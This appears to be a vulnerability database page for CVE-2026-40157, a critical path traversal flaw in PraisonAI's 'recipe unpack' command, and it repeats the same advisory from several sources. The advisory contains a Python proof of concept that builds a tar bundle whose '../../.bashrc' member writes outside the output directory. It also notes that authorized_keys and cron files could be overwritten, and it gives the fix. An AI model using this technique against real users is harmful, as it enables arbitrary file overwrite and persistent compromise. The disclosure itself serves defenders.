CVE-2026-40157
PraisonAI affected by arbitrary file write via path traversal in `praisonai recipe unpack`
PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.4
PraisonAI affected by arbitrary file write via path traversal in `praisonai recipe unpack`
PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.
- Record
CVE-2026-40157- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-21509
9.4
PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.
- Record
EUVD-2026-21509- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-99g3-w8gr-x37c
9.4
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`
| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via tar.extract() without member validation |
| Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
Summary
cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
Details
The vulnerable code is in cli/features/recipe.py:1170-1172:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.
The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.
# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest = str(dest_dir.resolve())
for member in tar.getmembers():
if os.path.isabs(member.name):
raise RegistryError(...)
if ".." in member.name.split("/"):
raise RegistryError(...)
resolved = os.path.realpath(os.path.join(dest, member.name))
if not resolved.startswith(dest + os.sep):
raise RegistryError(...)
tar.extractall(dest_dir)
PoC
Build a malicious bundle:
import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo(name="manifest.json")
info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n"
evil = tarfile.TarInfo(name="../../.bashrc")
evil.size = len(payload)
tar.addfile(evil, io.BytesIO(payload))
Trigger:
praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual: .bashrc written two directories above the output dir
Impact
| Path | Traversal blocked? |
|------|--------------------|
| praisonai recipe pull <name> | Yes -- uses _safe_extractall |
| praisonai recipe publish <bundle> | Yes -- uses _safe_extractall |
| praisonai recipe unpack <bundle> | No -- raw tar.extract() |
An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.
Remediation
Replace the raw extraction loop with _safe_extractall:
# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)
Affected paths
src/praisonai/praisonai/cli/features/recipe.py:1170-1172--cmd_unpackextracts tar members without path validation
- Record
GHSA-99g3-w8gr-x37c- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
9.4
PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.
- Record
CVE-2026-40157- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
9.4
PraisonAI affected by arbitrary file write via path traversal in `praisonai recipe unpack`
PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.
- Record
CVE-2026-40157- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-99g3-w8gr-x37c
9.4
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`
| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via tar.extract() without member validation |
| Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
Summary
cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
Details
The vulnerable code is in cli/features/recipe.py:1170-1172:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.
The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.
# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest = str(dest_dir.resolve())
for member in tar.getmembers():
if os.path.isabs(member.name):
raise RegistryError(...)
if ".." in member.name.split("/"):
raise RegistryError(...)
resolved = os.path.realpath(os.path.join(dest, member.name))
if not resolved.startswith(dest + os.sep):
raise RegistryError(...)
tar.extractall(dest_dir)
PoC
Build a malicious bundle:
import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo(name="manifest.json")
info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n"
evil = tarfile.TarInfo(name="../../.bashrc")
evil.size = len(payload)
tar.addfile(evil, io.BytesIO(payload))
Trigger:
praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual: .bashrc written two directories above the output dir
Impact
| Path | Traversal blocked? |
|------|--------------------|
| praisonai recipe pull <name> | Yes -- uses _safe_extractall |
| praisonai recipe publish <bundle> | Yes -- uses _safe_extractall |
| praisonai recipe unpack <bundle> | No -- raw tar.extract() |
An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.
Remediation
Replace the raw extraction loop with _safe_extractall:
# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)
Affected paths
src/praisonai/praisonai/cli/features/recipe.py:1170-1172--cmd_unpackextracts tar members without path validation
- Record
GHSA-99g3-w8gr-x37c- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-469
9.4
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`
| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via tar.extract() without member validation |
| Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
Summary
cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
Details
The vulnerable code is in cli/features/recipe.py:1170-1172:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.
The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.
# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest = str(dest_dir.resolve())
for member in tar.getmembers():
if os.path.isabs(member.name):
raise RegistryError(...)
if ".." in member.name.split("/"):
raise RegistryError(...)
resolved = os.path.realpath(os.path.join(dest, member.name))
if not resolved.startswith(dest + os.sep):
raise RegistryError(...)
tar.extractall(dest_dir)
PoC
Build a malicious bundle:
import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo(name="manifest.json")
info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n"
evil = tarfile.TarInfo(name="../../.bashrc")
evil.size = len(payload)
tar.addfile(evil, io.BytesIO(payload))
Trigger:
praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual: .bashrc written two directories above the output dir
Impact
| Path | Traversal blocked? |
|------|--------------------|
| praisonai recipe pull <name> | Yes -- uses _safe_extractall |
| praisonai recipe publish <bundle> | Yes -- uses _safe_extractall |
| praisonai recipe unpack <bundle> | No -- raw tar.extract() |
An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.
Remediation
Replace the raw extraction loop with _safe_extractall:
# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)
Affected paths
src/praisonai/praisonai/cli/features/recipe.py:1170-1172--cmd_unpackextracts tar members without path validation
- Record
PYSEC-2026-469- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
praisonaiPyPI |
2.7.2 up to 4.5.128 | 4.5.128 |
praisonaiPyPI |
2.7.2 up to 4.5.128, plus listed versions 2.8.32.8.42.8.52.8.62.8.7 Show 45 moreShow less2.8.82.8.92.9.02.9.12.9.23.0.03.0.13.0.23.0.33.0.43.0.53.0.63.0.73.0.83.0.93.1.03.1.13.1.23.1.33.1.43.1.53.1.63.1.73.1.83.1.93.10.03.10.13.10.103.10.113.10.123.10.133.10.143.10.153.10.163.10.173.10.183.10.193.10.23.10.203.10.213.10.223.10.233.10.243.10.253.10.26 |
4.5.128 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-40157 is a critical vulnerability (CVSS 9.4) in Mervinpraison Praisonai, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 32nd percentile. Fixed in praisonai 4.5.128.
References
github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c
nvd.nist.gov/vuln/detail/CVE-2026-40157
github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128
github.com/advisories/GHSA-99g3-w8gr-x37c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40157.json
github.com/MervinPraison/PraisonAI
pypi.org/project/praisonai
Left out here: 246 versions. The JSON record has them.